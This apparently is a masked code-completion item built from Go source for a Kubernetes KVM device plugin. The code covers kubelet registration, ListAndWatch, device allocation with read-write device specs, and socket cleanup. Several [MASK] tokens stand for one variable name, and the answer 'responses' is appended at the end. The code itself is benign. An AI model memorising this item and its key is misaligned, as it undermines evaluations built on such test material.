https://pkg.go.dev/k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1#RegisterRequest glog.Infof(""Creating %s DevicePlugin RegisterRequest for endpoint %s."", devicePath, path.Base(plugin.socket)) reqt := &pluginapi.RegisterRequest{ Version: pluginapi.Version, Endpoint: path.Base(plugin.socket), ResourceName: plugin.resourceName, } // https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/device-plugins/#device-plugin-registration // https://pkg.go.dev/k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1#RegistrationClient _, err = client.Register(context.Background(), reqt) if err != nil { glog.Errorf(""Registration of %s DevicePlugin failed: %s."", devicePath, err) glog.Errorf(""Make sure that the DevicePlugins feature gate is enabled and Kubelet is running."") return err } return nil } // ListAndWatch sends gRPC stream of Devices. // Whenever a Device state changes or a Device disappears, ListAndWatch // returns the new list. // https://pkg.go.dev/k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1#UnimplementedDevicePluginServer.ListAndWatch func (plugin *KVMDevicePlugin) ListAndWatch(e *pluginapi.Empty, s pluginapi.DevicePlugin_ListAndWatchServer) error { glog.V(3).Infof(""ListAndWatch exposing %d device resources."", len(plugin.devs)) // https://pkg.go.dev/k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1#DevicePlugin_ListAndWatchServer // https://pkg.go.dev/k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1#ListAndWatchResponse s.Send(&pluginapi.ListAndWatchResponse{Devices: plugin.devs}) for { select { case <-plugin.stop: return nil } } } // Allocate allocates a set of devices to be used by container runtime environment. func (plugin *KVMDevicePlugin) Allocate(ctx context.Context, reqs *pluginapi.AllocateRequest) (*pluginapi.AllocateResponse, error) { devicePath := plugin.devicePath glog.V(3).Infof(""%s DevicePlugin Allocate."", devicePath) devs := plugin.devs // https://pkg.go.dev/k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1#AllocateResponse [MASK] := pluginapi.AllocateResponse{} // Iterate through ContainerRequests, creating a ContainerAllocateResponse // if a device with the requested device ID exists. // https://pkg.go.dev/k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1#AllocateRequest // https://pkg.go.dev/k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1#ContainerAllocateRequest for _, req := range reqs.ContainerRequests { glog.V(3).Infof(""%s"", req) // https://pkg.go.dev/k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1#ContainerAllocateResponse // https://pkg.go.dev/k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1#DeviceSpec response := pluginapi.ContainerAllocateResponse{ Devices: []*pluginapi.DeviceSpec{ &pluginapi.DeviceSpec{ ContainerPath: devicePath, HostPath: devicePath, Permissions: ""rw"", }, }, } for _, id := range req.DevicesIDs { deviceExists := false for _, d := range devs { if d.ID == id { deviceExists = true break } } if !deviceExists { return nil, fmt.Errorf(""Invalid AllocateRequest, unknown device: %s."", id) } } glog.V(3).Infof(""%s"", &response) [MASK] .ContainerResponses = append( [MASK] .ContainerResponses, &response) } return & [MASK] , nil } // cleanup is a helper to remove the DevicePlugin's socket. func (plugin *KVMDevicePlugin) cleanup() error { devicePath := plugin.devicePath glog.V(3).Infof(""Removing socket %s for %s DevicePlugin."", plugin.socket, devicePath) if err := os.Remove(plugin.socket); err != nil && !os.IsNotExist(err) { glog.Errorf(""Could not clean up socket %s for %s DevicePlugin: %s."", plugin.socket, devicePath, err) return err } return nil } // Serve starts the gRPC server and registers the DevicePlugin to Kubelet. func (plugin *KVMDevicePlugin) Serve() error { devicePath := plugin.devicePath glog.V(3).Infof(""Serving %s DevicePlugin."", devicePath) err := plugin.Start() if err != nil { glog.Errorf(""Could not start %s DevicePlugin: %s."", devicePath, err) return err } glog.V(3).Infof(""Starting to serve on %s."", plugin.socket) err = plugin.Register() if err != nil { glog.Errorf(""Could not register %s DevicePlugin: %s."", devicePath, err) plugin.Stop() return err } glog.V(3).Infof(""Registered %s DevicePlugin with Kubelet."", devicePath) return nil } // PreStartContainer is called, if indicated by DevicePlugin during registration // phase, before each container start. The DevicePlugin can run device specific // operations such as reseting the device before making devices available to the // container. func (plugin *KVMDevicePlugin) PreStartContainer(context.Context, *pluginapi.PreStartContainerRequest) (*pluginapi.PreStartContainerResponse, error) { return &pluginapi.PreStartContainerResponse{}, nil } // GetPreferredAllocation returns a preferred set of devices to allocate from a // list of available ones. The resulting preferred allocation is not guaranteed // to be the allocation ultimately performed by the devicemanager. It is only // designed to help the devicemanager make a more informed allocation decision // when possible. GetPreferredAllocation was added in API v0.19.9. func (plugin *KVMDevicePlugin) GetPreferredAllocation(context.Context, *pluginapi.PreferredAllocationRequest) (*pluginapi.PreferredAllocationResponse, error) { return &pluginapi.PreferredAllocationResponse{}, nil } // GetDevicePluginOptions returns options to be communicated with Device Manager. func (plugin *KVMDevicePlugin) GetDevicePluginOptions(context.Context, *pluginapi.Empty) (*pluginapi.DevicePluginOptions, error) { return &pluginapi.DevicePluginOptions{}, nil } ",responses